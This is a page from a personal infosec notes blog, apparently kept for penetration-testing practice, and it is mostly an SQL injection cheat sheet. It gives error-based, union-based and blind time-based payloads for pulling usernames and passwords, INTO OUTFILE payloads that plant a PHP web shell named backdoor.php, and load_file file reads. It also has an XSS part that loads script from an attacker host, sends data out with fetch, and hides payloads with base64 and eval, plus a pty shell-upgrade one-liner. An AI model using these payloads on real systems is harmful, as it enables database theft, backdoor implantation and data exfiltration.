akde/infosec

Information security is ultimately about managing risk


  1. First, try to add ’ or ” in a field to see if the appli­ca­tion throws an error.
  2. Try now a OR query which should return more con­tent or anoth­er error.
    ' OR 1=1
  3. Try to add a state­ment and guess some fields which could be includ­ed in the error mes­sage.
    ' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- //
    ' OR 1=1 in (SELECT version()) -- //

Union-based injections

  1. Then, try to fig­ure out how many columns are returned by adding an increas­ing num­ber or ORDER BY stata­ments until final­ly the exe­cu­tion fails.
    ' ORDER BY 1 -- //
    ' ORDER BY 2 -- //
    ' ORDER BY 3 -- //
    ...

    As soon as the exe­cu­tion fails, the com­mand before indi­cates the tables col­umn count.
  2. Try now to add a SQL state­ment which con­tains some inter­est­ing func­tions (depend­ing on the data­base) and is padded with the prop­er num­ber of dum­my columns to match the pre­viosly found col­umn count. For MySQL and 5 columns:
    %' UNION SELECT database(), user(), @@version, null, null -- //
    Note that it could be that the web page returns only some columns like $ret[2] — in this case, repeat the state­ment, but change the order of the data­base func­tions.
    Anoth­er state­ment could be:
    %' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //

Blind SQL injections

If no out­put is giv­en from a state­ment, try to use time-based approaches.

  1. While some­thing like
    file.php?username=blabla' AND 1=1 -- //
    may not return any­thing if the user­name does not exist, the state­ment
    file.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- //
    will slow down the appli­ca­tion’s response if the giv­en user exists.

Fuzzing

  1. Get a request with fields which could be injectable.
  2. use wfuzz and insert FUZZ in dif­fer­ent fields:
    wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "name=&order=FUZZ" -u http://$target/api/invoices

Enumerating in inserts

Assum­ing the INSERT state­ment is

INSERT INTO $tablename (email,name) VALUES ("email", "name");

Then try a tim­ing attack to deter­mine if a cer­tain val­ue is in a field:

INSERT INTO newsletter (name,email) VALUES ('name', '
  ' AND (IF((SELECT email FROM newsletter WHERE email="known_value") = "known_value", sleep(10), 0)) AND '
');

Forcing errors

You can use cast(...) to con­vert a string into an integer.

Enumerating the structure

Try to add a ORDER BY 1,2,3,… to gues how many columns there are:

SELECT * FROM menu ORDER BY 5;-- at some point, an error will occur.

Try to add an UNION state­ment into an injectable para­me­ter and com­bine the out­put with a vari­able (in this case for MySQL)

?id=1 UNION ALL SELECT 1, @@version
?id=1 UNION ALL SELECT 1, 2, @@version # <-- following examples are for this case.
?id=1 UNION ALL SELECT 1, 2, 3, @@version
...

For the query that worked, obtain then infor­ma­tion about the tables:

?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables

Then, choose a table to explore, for exam­ple users. Then, enu­mer­ate the columns of this table:

?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'

Then, val­ues from the tar­get­ed table can be retrieved:

?id=1 UNION ALL SELECT 1, username, password from users

Code execution

Exam­ple to write a string into a file:

?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php' -- //

Useful commands

load_file returns the con­tent of a file.

evil.php?id=42 union select 1,2,3,load_file('C:/...')

INTO OUTFILE writes con­tent into a file.

evil.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Enu­mer­ate the count of columns: Request the fol­low­ing and repeat it and increase the order by para­me­ter. An error appears after one col­umn to many.

evil.php?id=1 order by 1

Loading JS from external source

To inject more com­plex JS from an own serv­er, inject this:

<script src=http://$attacker/s.js"></script>

And pro­vide this.

To load own JS direct­ly, use this:

fetch("http://$attacker/s.js?maybe_also_with=$var_for_exfiltration")

If due to char­ac­ter restric­tions you have to obfuscate:

  1. Con­vert your pay­load to base64.
  2. Instead of
    '+alert('aha')+'
    use
    '+eval(atob('base64...'))+'
  3. Should there an issue because the inject­ed string is used else­where and leads to a script error, wrap the result into a func­tion which removes spe­cial char­ac­ters so that there is no rea­son for a fail­ure else­where:
    '+btoa(eval(atob('base64...')))+'

Automatic tools

  • SQLmap
  • Com­mix: Auto­mat­ic SQL injec­tion dis­cov­ery and exploitation

Notes

  • Try DB depen­dend com­mands. E.g. for MySQL, @@version returns the ver­sion of the serv­er and user() the cur­rent user.
  • Try inline com­ments like SELECT/*bla*/table to pre­vent blacklisting.

Ressources

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';